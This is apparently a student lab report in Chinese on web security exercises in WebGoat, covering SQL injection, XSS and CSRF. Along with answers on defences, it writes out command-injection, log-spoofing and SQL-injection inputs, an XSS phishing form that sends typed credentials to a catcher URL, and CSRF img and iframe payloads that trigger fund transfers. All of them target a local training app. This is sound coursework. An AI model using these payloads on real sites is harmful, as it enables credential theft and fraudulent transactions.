2018-2019-2 20165320 《網絡對抗技術》 Exp9 Web安全基礎

2018-2019-2 20165320 《網絡對抗技術》 Exp9 Web安全基礎

目錄:

  • SQL注入:java

    • Command Injectionweb

    • Log Spoofingsql

    • Numeric SQL Injection數據庫

    • String SQL Injection瀏覽器

  • XSS 攻擊:緩存

    • Phishing with XSS安全

    • Stored XSS Attacks服務器

  • CSRF攻擊:cookie

    • Cross Site Request Forgery網絡

    • CSRF Prompt By‐Pass

1、實踐回答問題

(1)SQL注入攻擊原理,如何防護?
  • 原理:SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,經過執行SQL語句進而執行攻擊者所要的操做,使非法數據侵入系統。

  • 防護措施以下:

    • 對輸入的數據進行過濾,過濾掉敏感字符。加密數據庫。

    • 關閉或刪除沒必要要的交互式提交表單頁面。

    • 普通用戶與系統管理員用戶的權限要有嚴格的區分。

(2)XSS攻擊的原理,如何防護?
  • 原理:XSS攻擊(跨站腳本攻擊)是一種在Web應用中的計算機安全漏洞,它容許惡意Web用戶將代碼植入到提供給其它用戶使用的頁面中。

  • 防護:

    • 提升用戶防範意識,不輕易輸入我的信息

    • 對全部用戶提交內容進行可靠的輸入驗證,僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交,對其餘的一概過濾。

(3)CSRF攻擊原理,如何防護?
  • 原理:CSRF(Cross-site request forgery)跨站請求僞造是一種對網站的惡意利用,經過假裝來自受信任用戶的請求來利用受信任的網站。

  • 防護:

    • 使用「請求令牌」。首先服務器端要以某種策略生成隨機字符串,做爲令牌(token),保存在Session裏。而後在發出請求的頁面,把該令牌以隱藏域一類的形式,與其餘信息一併發出。在接收請求的頁面,把接收到的信息中的令牌與Session中的令牌比較,只有一致的時候才處理請求,不然返回 HTTP 403 拒絕請求或者要求用戶從新登錄驗證身份。

    • 將提交方法改成post,或將 GET請求設置爲只瀏覽而不改變服務器端資源

    • 按期清理掉沒用的緩存

2、實踐內容

(1)Webgoat安裝:

  • 首先從Webgoat官網下載相關.jar包

  • 在Kali端輸入:java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar運行

  • 瀏覽器輸入:http://localhost:8080/WebGoat進入WebGoat登陸界面,輸入默認的用戶名密碼登陸

  • 在使用前須要確認8080端口有沒有被佔用:netstat -tupln | grep 8080

(2)SQL 注入攻擊

1.命令注入:Command Injection
  • 在網頁的源碼中注入netstatifconfig命令:

    • 首先右擊頁面,選擇inspect Element進入審查

    • 選擇複選框中的一行,修改成:"& netstat -an & ipconfig"

    • 單擊view能夠觀察到攻擊的成果

2.日誌欺騙:Log Spoofing
  • 經過在日誌文件中插入腳本實現欺騙,攻擊者能夠利用這種方式清除他們在日誌中的痕跡。

    • Username中填入20165320%0d%0aLogin Succeeded !admin
3.數字型注入:Numeric SQL Injection
  • 在station字段中注入特徵字符,組合成新的SQL語句。注入永真式達到達到注入的效果。

    • 右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在選中的城市編號Value值中添加or 1=1

    • 顯示天氣狀況:

4.字符串注入:String SQL Injection
  • 經過向數據庫注入字符串繞過相關登陸認證操做

    • 輸入查詢的用戶名SQ' or 1=1--

    • 獲得全部用戶的信用卡號碼:

(3)XSS攻擊

5.XSS 釣魚 :Phishing with XSS
  • 當用戶輸入非法HTTP響應時容易受到XSS攻擊。在XSS的幫助下,能夠實現釣魚工具或向某些官方頁面中增長內容。對於受害者來講很難發現該內容是否存在威脅。

    • 建立一個表單代碼,要求填寫用戶名與密碼:

      </form>
        <script>
        function hack(){ 
             XSSImage=new Image;
             XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
             alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
         } 
        </script>
        <form name="phish">
        <br>
        <br>
        <HR>
            <H2>This feature requires account login:</H2>
        <br>
         <br>Enter Username:<br>
          <input type="text" name="user">
           <br>Enter Password:<br>
           <input type="password" name = "pass">
        <br>
            <input type="submit" name="login" value="login" onclick="hack()">
        </form>
        <br>
        <br>
        <HR>
    • 將該代碼粘貼到Search輸入框中,點擊搜索:

    • 填寫表單,點擊登陸,獲取相關信息:

6.存儲型XSS攻擊:Stored XSS Attacks
  • 這種攻擊常見於論壇等留言平臺,用戶留言的時候輸入一段JavaScript腳本,這段腳本就會被保存在數據庫中。由於是留言,因此任何用戶在打開網頁的時候,這個腳本就會被從數據庫中取出來而運行。

    • 在title中任意輸入字符,留言板中輸入:

(4)CSRF攻擊

7.跨站請求僞造:Cross Site Request Forgery
  • 跨站請求僞造是一種讓受害者加載一個包含網頁的圖片的一種攻擊手段。提交請求時,瀏覽器將添加與站點相關的全部cookie。所以,若是用戶對站點進行了身份驗證,而且擁有永久或當前會話cookie,那麼站點將沒法將其與合法的用戶請求區分開來。

    • 在title中輸入任何參數,message框中輸入:<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=8888" width="1" height="1" />

    • 以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的),用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交

8.繞過 CSRF 確認:CSRF Prompt By‐Pass
  • 跨站點請求僞造(CSRF/XSRF)是一種攻擊,它欺騙受害者加載包含「僞造請求」的頁面,以便使用受害者的憑據執行命令。提示用戶確認或取消命令可能聽起來像一個解決方案,但若是提示符是可編寫腳本的,則能夠忽略它.

    • 並在title框中輸入學號,message框中輸入代碼:

      <iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe>
        <iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
    • 點擊 submit 生成相關連接:

相關文章
相關標籤/搜索